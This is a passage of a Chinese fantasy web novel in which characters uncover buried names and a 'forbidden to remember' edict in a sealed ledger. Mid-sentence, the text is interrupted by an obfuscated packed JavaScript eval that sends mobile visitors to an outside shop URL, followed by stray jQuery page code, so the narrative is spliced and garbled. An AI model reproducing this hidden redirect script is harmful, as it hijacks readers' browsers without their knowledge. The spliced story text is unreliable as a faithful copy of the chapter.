原簿底下那一层，像被谁拿指腹慢慢掀开了。不是翻页。是掀开。裴照夜的指尖还压着上头那句“若有人问根，先压镜”，可纸页下方竟还伏着一层更薄的蜡。那蜡色比前头更深，像许多年前有人存心把最底下一句压得更狠，狠到连一丝光都不许漏出来。沈白骨看着她的手，喉咙发紧。“别停。”断印的声音从很远的镜后压过来，“再往下。”
裴照夜没答，只把针尖微微一挑。蜡片卷起一角。底下先露出来的，不是名字，是一行极细的红字。闻守素，押镜。四个字一出，书室里竟静了一瞬。沈白骨下意识去看那面嵌在玉墙里的镜。
镜中那张年轻许多的脸也在看那页字。比起方才，他的轮廓清楚了些: 眉骨高，眼窝深，唇边没什么血色，左手果然断了两指，指根仍缠着旧布。只是这一次，他没有再像旁人那样避开目光。他看着那四个字，反而极轻地笑了一下。“原来还留着。”他说。裴照夜眼神一动。“你是闻守素？”镜中那人点头。
“是。”他说，“后来他们叫我闻太素，也叫我断印。可最早，我是闻守素。”
这句话说得极平，像在谈一件早就凉透的旧事。可沈白骨听得出来，那平里不是坦然，而是把许多年的火气都压成了灰，到了今日，才肯把最初那一点灰，掸出来给人看。周回春靠着门边的断柱，低低骂了一句。“果然是你。”闻守素没看他，只抬眼望向原簿。“前锁印先动的根。”他说。
“那夜白玉京将塌未塌，裴家的前锁印先从门槽里把镜根抠了出来，扔进簿底。根一动，镜就开始吃人。我若不按下去，第一批人的名字会整页整页翻出来，门后那口旧镜，也会一口气把人吞个干净。”他说到这里，眼神微微沉了一下。“所以我压了镜。”“压的不是页，是根。”沈白骨心口猛地一沉。
原来白玉京原簿底下那句“若有人问根，先压镜”，并不是谁预先写好的冷规矩。是那一夜，真有一只手先把根按进了镜里，替后来的人把灾祸压住了一半。可这一压，连按下去的人自己，也一并压进去了。“你压了什么？”裴照夜问。闻守素静了片刻，才道：“压了我自己的半句真名。”书室里更静了。
静得连那七个还喘着的人，额上的白线都似乎跟着停了一停。裴照夜盯着那行红字，眼底一点一点冷下去。“半句？”
“嗯。”闻守素看向她，“我把‘守素’押进了镜根里，换白玉京那一夜多活了半口气。”“那后来呢？”
“后来？”他笑了笑，那点笑薄得几乎见不着，“后来闻家拿了前锁印，改页，添字，把‘已补’两个字重重压在上头。再后来，活下来的人越来越少，记得那口镜的人，自然也越来越少。”沈白骨这才明白，原簿不是单纯的账。是压根。压住的根不是一个人的死，而是一个人从哪儿开始被忘。裴照夜手指微颤，终于把那层蜡完全掀开。蜡下第二行字，露了出来。
不许记得。四个字，极轻，轻得像谁在最难的时候，咬着牙说出来的禁令。可就是这四个字，叫沈白骨背脊一阵发寒。
他忽然想起灯底那些“已补”的人，想起青石村里被舔得干干净净的村碑，想起吞誓江里一盏盏替人养名的旧灯食。原来这一切最初都不是为了杀人，而是为了叫人从此记不得。不许记得。记不得，便能补。记不得，便能压。
记不得，便能让一整批人从人间安安静静地消失，连自己为什么消失，都不再有机会问出口。镜里那张年轻的脸这时终于抬了抬头。
“现在你们总该明白，为什么非压镜不可。”他说，“镜一开，根便会醒；根一醒，第一批人的名字就会自己往外爬。可那时，外头那些还没补干净的人，也会跟着一起裂开。”沈白骨喉咙发紧：“所以你才把自己的半句真名压进去？”“对。”闻守
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834273|211374||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
素答得很平。“我不压，白玉京那口镜会先吃掉第一批。”“我压了，后头的人会先记不起自己是谁。”
他说到这里，停了一下，目光慢慢落到沈白骨胸口那点火印上。“所以后来你们才会有火。”沈白骨一震。“什么？”闻守素没有立刻答。
镜后那道极深的暗影轻轻动了一下，像断印在更里面，终于听见了这句。他的声音从另一头传出来，低而稳：“正因记不得，人才会起愿。”“也正因有愿，火才会慢慢生出来。”
裴照夜眼底猛地一动，像终于把某根极细极细的线，在心里连上了。周回春则闭了闭眼，低声道：“原来如此。”原来第二盏灯不是为了点亮白玉京。
是白玉京那口被压住的根，在多年暗里，一寸寸养出来的回声。原来火心里那点人愿，不是后来的人硬造的东西，而是从第一批被压住的名字里，一点点往外渗，一点点积出来的暖。
沈白骨低头，看着那句“不许记得”，忽然觉得胸口那道火印轻轻一疼。像有个人隔着很远很远的年头，把一段本不该忘的东西，重新按回了他的骨头里。裴照夜声音极低：“那页底下，究竟压着什么名字？”闻守素看了她一眼。这一次，他没有立刻答。
镜前那七个还喘着的人里，最左边那个老者忽然极轻地动了一下嘴唇。“……娘。”只有一个字。
可这一字一出，整间书室竟像被一根极细的针刺了一下。玉壁上一排排原本静默的书架随即轻轻响起，像最底层那些簿册，同时被谁翻开了半页。闻守素的脸色也跟着变了。他慢慢转头，看向原簿最下沿。
那一页底下，原本该是压着的一道封条，此刻却被裴照夜挑开了一线。封条下，露出一个极小极小的名字。不是闻家。不是裴家。是个女人的名。
字很旧，旧得像被水泡过很多年，却仍能勉强认出最后两个字：王氏。